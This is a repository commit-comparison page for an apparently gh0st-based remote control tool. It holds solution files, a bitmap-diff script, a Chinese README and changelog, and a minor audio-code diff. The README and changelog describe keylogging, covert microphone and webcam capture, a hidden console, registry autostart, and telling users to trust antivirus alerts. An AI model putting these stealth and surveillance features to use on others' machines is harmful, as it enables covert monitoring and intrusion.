Compare commits
85 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
80aff857d2 | ||
|
|
2b7b69917e | ||
|
|
1ab05c0aaa | ||
|
|
d789d1c14c | ||
|
|
4f00cbfd6a | ||
|
|
f7abd398a4 | ||
|
|
1492ef4bd2 | ||
|
|
53f2bbed73 | ||
|
|
0ec02402e3 | ||
|
|
2dbdc1860f | ||
|
|
1358fecc7c | ||
|
|
6b2497b157 | ||
|
|
07e1cbe814 | ||
|
|
be1db96698 | ||
|
|
7bcf11ce0a | ||
|
|
614cc8c0b4 | ||
|
|
0d6d171909 | ||
|
|
ac2d54a706 | ||
|
|
269707b0d2 | ||
|
|
2e06d8f5ae | ||
|
|
52c5442bfd | ||
|
|
1fce74e06e | ||
|
|
2b9ef8e935 | ||
|
|
80f277aa7f | ||
|
|
914eefbb23 | ||
|
|
8ec3e83d31 | ||
|
|
0ef817af9c | ||
|
|
4a89c3fbed | ||
|
|
16ef7c364a | ||
|
|
34c7287371 | ||
|
|
483d090515 | ||
|
|
3b46ca4219 | ||
|
|
0989cae803 | ||
|
|
816385e9c8 | ||
|
|
1694cabd39 | ||
|
|
c58a9dbe73 | ||
|
|
97edc611c7 | ||
|
|
1942f499e3 | ||
|
|
077df93a68 | ||
|
|
c597af3335 | ||
|
|
66923b8807 | ||
|
|
9561a5d09d | ||
|
|
943c269700 | ||
|
|
01d11f5fa3 | ||
|
|
37d96a7f66 | ||
|
|
7df66348b3 | ||
|
|
cba61fab7e | ||
|
|
aacae8d348 | ||
|
|
d4b6d48bc1 | ||
|
|
83849e688f | ||
|
|
7a2248f2cf | ||
|
|
8aa42d5db2 | ||
|
|
48260b367f | ||
|
|
079443d48f | ||
|
|
9617694d14 | ||
|
|
97ee5bc26f | ||
|
|
a2975d9471 | ||
|
|
cdded1687d | ||
|
|
e69f18d576 | ||
|
|
0c0c24534b | ||
|
|
5b86910cb2 | ||
|
|
727bbd395b | ||
|
|
3d0e7f7573 | ||
|
|
0d6c64f87b | ||
|
|
225c7e0318 | ||
|
|
2c870f1952 | ||
|
|
0a6641baec | ||
|
|
a43386d181 | ||
|
|
833b0347c1 | ||
|
|
2ffa2534f1 | ||
|
|
919afb5311 | ||
|
|
fa383037a4 | ||
|
|
5a7145a5ac | ||
|
|
fdee9b88c2 | ||
|
|
a48a5fcfb9 | ||
|
|
7005d80ead | ||
|
|
e31c88b59c | ||
|
|
e234b37279 | ||
|
|
b8249a241c | ||
|
|
fb01dee4dd | ||
|
|
a58c105d55 | ||
|
|
60a9cf202c | ||
|
|
60a59b8dd5 | ||
|
|
953d298c1c | ||
|
|
ab7259edda |
43
2015Remote.sln
Normal file
43
2015Remote.sln
Normal file
@@ -0,0 +1,43 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
72
2019Remote.sln
Normal file
72
2019Remote.sln
Normal file
@@ -0,0 +1,72 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.35425.106
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{70702583-26EE-47E0-9847-4D58F9449F4C}"
|
||||
ProjectSection(SolutionItems) = preProject
|
||||
history.md = history.md
|
||||
ReadMe.md = ReadMe.md
|
||||
使用方法.txt = 使用方法.txt
|
||||
使用花生壳.txt = 使用花生壳.txt
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.Build.0 = Debug|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.ActiveCfg = Release|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.Build.0 = Release|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.Build.0 = Debug|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.ActiveCfg = Release|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.Build.0 = Release|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.Build.0 = Debug|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.ActiveCfg = Release|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.Build.0 = Release|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.Build.0 = Debug|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.ActiveCfg = Release|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B1D72004-04EB-4DFF-879C-BCB05C75DFA4}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
28
BmpDifference.m
Normal file
28
BmpDifference.m
Normal file
@@ -0,0 +1,28 @@
|
||||
% 计算客户端和服务端的位图差异
|
||||
% MATLAB 8.1.0.604 (R2013a)
|
||||
clear all;clc;
|
||||
folder1=[pwd, '/client/bmp/']; % 客户端位图目录
|
||||
folder2=[pwd, '/server/2015Remote/bmp/']; % 服务端位图目录
|
||||
|
||||
num1=numel(dir(fullfile(folder1, '*.bmp')));
|
||||
disp([folder1, ' BMP file count: ', num2str(num1)]);
|
||||
num2=numel(dir(fullfile(folder2, '*.bmp')));
|
||||
disp([folder2, ' BMP file count: ', num2str(num2)]);
|
||||
num = min(num1, num2);
|
||||
missing = 0;
|
||||
for i=1:num
|
||||
file1 = sprintf('%sGHOST_%d.bmp', folder1, i);
|
||||
file2 = sprintf('%sYAMA_%d.bmp', folder2, i);
|
||||
if exist(file2, 'file') == 2
|
||||
img1 = imread(file1);
|
||||
img2 = imread(file2);
|
||||
diff=double(img1)-double(img2);
|
||||
s = sum(diff(:));
|
||||
fprintf('BMP [%d] difference: %g\n', i, s);
|
||||
else
|
||||
fprintf('BMP [%d] difference: MISSING\n', i);
|
||||
missing = missing + 1;
|
||||
end
|
||||
end
|
||||
|
||||
disp(missing);
|
||||
104
ReadMe.md
Normal file
104
ReadMe.md
Normal file
@@ -0,0 +1,104 @@
|
||||
# 项目简介
|
||||
|
||||
**原始来源:** [zibility](https://github.com/zibility/Remote)
|
||||
|
||||
**功能概述:** 基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
||||
如果您热爱研究控制程序,喜欢本项目,请您对该项目添加星标。Fork、Watch此项目,提交Issues,发起Pull Request都是受欢迎的。
|
||||
|
||||
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
|
||||
|
||||
**起始日期**:2019.1.1
|
||||
|
||||
## 主控程序
|
||||
主控程序为**YAMA.exe**是Server端,Release发布版本在单台电脑只能运行一个示例。
|
||||
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
|
||||
某些功能要求受控程序以管理员权限运行。
|
||||
|
||||

|
||||
|
||||
主界面以列表形式展示连接到本机的受控程序。
|
||||
选中某个主机以便进行远程控制。
|
||||
|
||||

|
||||
|
||||
终端管理打开命令行窗口,可以执行远程命令。
|
||||
|
||||

|
||||
|
||||
进程管理显示受控机器上面正在运行的进程,可对进程进行启停操作。
|
||||
|
||||

|
||||
|
||||
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作。
|
||||
|
||||

|
||||

|
||||
|
||||
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
|
||||
屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发,但也是能支持的。
|
||||
|
||||

|
||||
|
||||
文件管理即在本机和受控机器之间传输文件。
|
||||
|
||||

|
||||
|
||||
语音管理即监听受控机器的声音,需受控机器有声音输入设备。
|
||||
|
||||

|
||||
|
||||
视频管理即打印受控机器的摄像头,需受控机器有摄像头。
|
||||
|
||||

|
||||
|
||||
服务管理即打开受控机器上面的服务列表。
|
||||
|
||||

|
||||
|
||||
注册表管理即打开受控机器上面的注册表。
|
||||
|
||||
## 受控程序
|
||||

|
||||
|
||||
受控程序是Client端,分为2种运行形式("类型"):单个程序 **(1)** ghost.exe和 **(2)** TestRun.exe+ServerDll.dll形式。
|
||||
(1)单个程序运行时,不依赖其他动态链接库,而第(2)种情况运行时,由EXE程序调用核心动态链接库。
|
||||
|
||||
# 更新日志
|
||||
|
||||
2025年以前的变更记录参看:[history](./history.md)
|
||||
|
||||
2025.01.12
|
||||
修复被控程序关于远程桌面相关可能的2处问题(#28 #29)。增加对主控端列表窗口的排序功能(#26 #27),以便快速定位窗口、服务或进程。
|
||||
|
||||
发布一个运行**非常稳定**的版本v1.0.6,该版本不支持在较老的Windows XP系统运行(注:VS2019及以后版本已不支持XP工具集,为此需要更早的VS)。
|
||||
您可以从GitHub下载最新的Release,也可以clone该项目在相关目录找到。如果杀毒软件报告病毒,这是正常现象,请信任即可,或者您可以亲自编译。
|
||||
|
||||
2025.02.01
|
||||
|
||||
参考[Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2),增加键盘记录功能。实质上就是拷贝如下四个文件:
|
||||
|
||||
*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp*
|
||||
|
||||
**2025.04.05**
|
||||
|
||||
Release v1.0.7, mainly fix or add new feature:
|
||||
|
||||
- Update third-party libraries and switch zlib to zstd, old version v1.0.6 is compatible;
|
||||
- Support compile with Win64;
|
||||
- Fix buges and make the program more stable;
|
||||
- Improve remote control efficiency and support more bitmap compressing method;
|
||||
- Some code reorganization.
|
||||
|
||||
# 沟通反馈
|
||||
|
||||
QQ:962914132
|
||||
|
||||
联系方式: [Telegram](https://t.me/doge_grandfather), [Email](mailto:yuanyuanxiang163@gmail.com), [LinkedIn](https://www.linkedin.com/in/wishyuanqi)
|
||||
|
||||
问题报告: [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues)
|
||||
|
||||
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
|
||||
|
||||
赞助方式 / Sponsor:
|
||||
|
||||

|
||||
179
ReadMe.txt
179
ReadMe.txt
@@ -1,179 +0,0 @@
|
||||
[简介]
|
||||
|
||||
基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
||||
|
||||
来源:https://github.com/zibility/Remote
|
||||
|
||||
日期:2019.1.1
|
||||
|
||||
[更新日志]
|
||||
|
||||
2019.1.5
|
||||
|
||||
1、整理垃圾排版,优化上线下线处理逻辑。
|
||||
2、修复部分内存泄漏问题,改善线程处理逻辑。
|
||||
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
|
||||
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
|
||||
|
||||
2019.1.6
|
||||
|
||||
1、改用EnumDisplaySettings获取屏幕大小,原方法获取屏幕大小不准。
|
||||
|
||||
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
|
||||
|
||||
3、新增项目"ghost",不通过TestRun调用dll,而是直接生成可执行文件。
|
||||
|
||||
4、修复开启视频,客户端产生的一处内存泄漏缺陷,m_pCapture需要释放。
|
||||
|
||||
2019.1.7
|
||||
|
||||
1、ghost单台电脑只允许启动唯一的实例。
|
||||
|
||||
2、远程桌面反应迟钝,改用每秒传送8帧屏幕,后续有待优化。
|
||||
|
||||
2019.1.8
|
||||
|
||||
1、发现传屏的瓶颈在zlib压缩数据,更新zlib到版本V1.2.11,提高传送屏幕速度到每秒10帧。
|
||||
|
||||
2、ghost的类CBuffer不需要临界区。
|
||||
|
||||
2019.1.9
|
||||
|
||||
1、服务端IOCPServer类的工作线程改为计算机核心个数的2倍。
|
||||
|
||||
2、解决服务端主动退出的内存泄漏问题,泄漏源在OVERLAPPEDPLUS。
|
||||
|
||||
2019.1.10
|
||||
|
||||
1、服务端远程控制增加全屏(系统右键菜单)、退出全屏(F11)的功能。
|
||||
|
||||
2、修复客户端机器屏幕缩放时远程桌面鼠标光标位置不准确的问题。(跟踪光标受影响)
|
||||
|
||||
3、发现服务端需要采用默认英文输入法,才能在远程桌面输入中文(怀疑本地输入法截获消息)。
|
||||
|
||||
4、添加崩溃时写dump文件的代码。
|
||||
|
||||
2019.1.11
|
||||
|
||||
1、修复文件管理对话框多次打开崩溃的问题(【遗留问题】)。
|
||||
|
||||
2、遗留问题:远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
|
||||
|
||||
2019.1.12
|
||||
|
||||
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
|
||||
|
||||
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
|
||||
|
||||
3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:
|
||||
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
|
||||
|
||||
4、退出时睡眠一会,等待服务端清理,发现这样可以避免退出时崩溃的概率。
|
||||
|
||||
5、发布稍微稳定的版本V1.0.0.1。
|
||||
|
||||
2019.1.13
|
||||
|
||||
1、在主对话框清理子窗口的资源(原先在各自的OnClose函数),通过CLOSE_DELETE_DLG控制。
|
||||
|
||||
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。
|
||||
|
||||
3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
|
||||
|
||||
2019.1.15
|
||||
|
||||
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。
|
||||
|
||||
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
|
||||
|
||||
3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
|
||||
|
||||
2019.1.16
|
||||
|
||||
1、智能计时宏AUTO_TICK有问题,不应该用无名的局部变量auto_tick。
|
||||
|
||||
2、采用由Facebook所开发的速度更快的压缩库zstd,提高程序运行效率。
|
||||
参看:https://github.com/facebook/zstd
|
||||
|
||||
2019.1.17
|
||||
|
||||
1、添加比zstd更快的压缩库(压缩率不如zstd和zlib)lz4 1.8.3,参看
|
||||
https://github.com/lz4/lz4
|
||||
|
||||
2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。
|
||||
|
||||
3、修复语音监听的问题,2个事件CAudio修改为非"Manual Reset"。
|
||||
|
||||
2019.1.18
|
||||
|
||||
1、整理部分垃圾代码。
|
||||
|
||||
2、发布V1.0.0.2。
|
||||
|
||||
2018.1.19
|
||||
|
||||
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃,原因不明。
|
||||
|
||||
2、修复内存泄漏缺陷,在throw "Bad Buffer"的情况需要释放申请的内存。
|
||||
|
||||
2019.1.20
|
||||
|
||||
1、发现不管是采用zstd还是zlib,主控端在进行桌面控制时均有崩溃的几率(zlib较小)。
|
||||
|
||||
2、改用zlib压缩解压库。
|
||||
|
||||
3、完善追踪鼠标时鼠标形态变化时的展现效果。
|
||||
|
||||
4、当退出远程桌面窗口全屏状态时,不再向远程被控端发送F11。
|
||||
|
||||
5、发现在有线网络条件下主控端崩溃几率较小。
|
||||
|
||||
6、禁用主控端输入法,解决使用远程桌面在被控端输入时的麻烦问题。
|
||||
|
||||
2019.1.21
|
||||
|
||||
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
|
||||
|
||||
2019.1.22
|
||||
|
||||
减少音频视频捕获过程中频繁申请内存。
|
||||
|
||||
2019.1.25
|
||||
|
||||
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
|
||||
|
||||
2、添加/完善录制远程被控端视频的功能。
|
||||
|
||||
3、修复语音监听对话框显示已收到数据不更新状态的问题。
|
||||
|
||||
4、发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
|
||||
|
||||
5、设置视频监控对话框为可调整大小,为其设置图标。
|
||||
|
||||
2019.1.26
|
||||
|
||||
1、发布V1.0.0.3。
|
||||
|
||||
2、修复Release模式打不开远程视频,或打开视频时画面卡住的问题,问题出在CCaptureVideo GetDIB。
|
||||
|
||||
2019.2.4
|
||||
|
||||
清理垃圾注释、整理不良排版,对代码略有改动。
|
||||
|
||||
遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。
|
||||
|
||||
发布V1.0.0.4。
|
||||
|
||||
2019.3.24
|
||||
|
||||
1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
|
||||
|
||||
2、新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。
|
||||
|
||||
2019.3.29
|
||||
|
||||
1、主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
|
||||
|
||||
2、发布V1.0.0.5。
|
||||
|
||||
注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。
|
||||
BIN
Releases/v1.0.6/ServerDll.dll
Normal file
BIN
Releases/v1.0.6/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.6/TestRun.exe
Normal file
BIN
Releases/v1.0.6/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.6/Yama.exe
Normal file
BIN
Releases/v1.0.6/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.6/ghost.exe
Normal file
BIN
Releases/v1.0.6/ghost.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/ServerDll.dll
Normal file
BIN
Releases/v1.0.7/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/TestRun.exe
Normal file
BIN
Releases/v1.0.7/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/Yama.exe
Normal file
BIN
Releases/v1.0.7/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/ghost.exe
Normal file
BIN
Releases/v1.0.7/ghost.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/ServerDll.dll
Normal file
BIN
Releases/v1.0.7/x86/ServerDll.dll
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/TestRun.exe
Normal file
BIN
Releases/v1.0.7/x86/TestRun.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/Yama.exe
Normal file
BIN
Releases/v1.0.7/x86/Yama.exe
Normal file
Binary file not shown.
BIN
Releases/v1.0.7/x86/ghost.exe
Normal file
BIN
Releases/v1.0.7/x86/ghost.exe
Normal file
Binary file not shown.
@@ -71,7 +71,7 @@ CAudio::~CAudio()
|
||||
waveInClose(m_hWaveIn);
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||
Mprintf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||
TerminateThread(m_Thread, -999);
|
||||
m_Thread = NULL;
|
||||
}
|
||||
@@ -87,8 +87,10 @@ CAudio::~CAudio()
|
||||
if (m_bIsWaveOutUsed)
|
||||
{
|
||||
waveOutReset(m_hWaveOut);
|
||||
for (int i = 0; i < 2; ++i)
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
for (int i = 0; i < 2; ++i) {
|
||||
if (m_InAudioHeader[i])
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
waveOutClose(m_hWaveOut);
|
||||
}
|
||||
|
||||
@@ -107,7 +109,7 @@ BOOL CAudio::InitializeWaveIn()
|
||||
DWORD dwThreadID = 0;
|
||||
|
||||
m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
||||
waveInCallBack, (LPVOID)this,
|
||||
CREATE_SUSPENDED, &dwThreadID);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -131,8 +133,10 @@ BOOL CAudio::InitializeWaveIn()
|
||||
}
|
||||
|
||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
|
||||
ResumeThread(m_Thread);
|
||||
if (m_Thread!=NULL)
|
||||
{
|
||||
ResumeThread(m_Thread);
|
||||
}
|
||||
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||
|
||||
m_bIsWaveInUsed = TRUE;
|
||||
@@ -178,7 +182,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return -1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (Msg.message == MM_WIM_CLOSE)
|
||||
@@ -190,7 +194,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
DispatchMessage(&Msg);
|
||||
}
|
||||
|
||||
std::cout<<"waveInCallBack end\n";
|
||||
Mprintf("waveInCallBack end\n");
|
||||
This->m_hThreadCallBack = false;
|
||||
|
||||
return 0XDEADAAAA;
|
||||
|
||||
@@ -15,9 +15,9 @@ using namespace std;
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
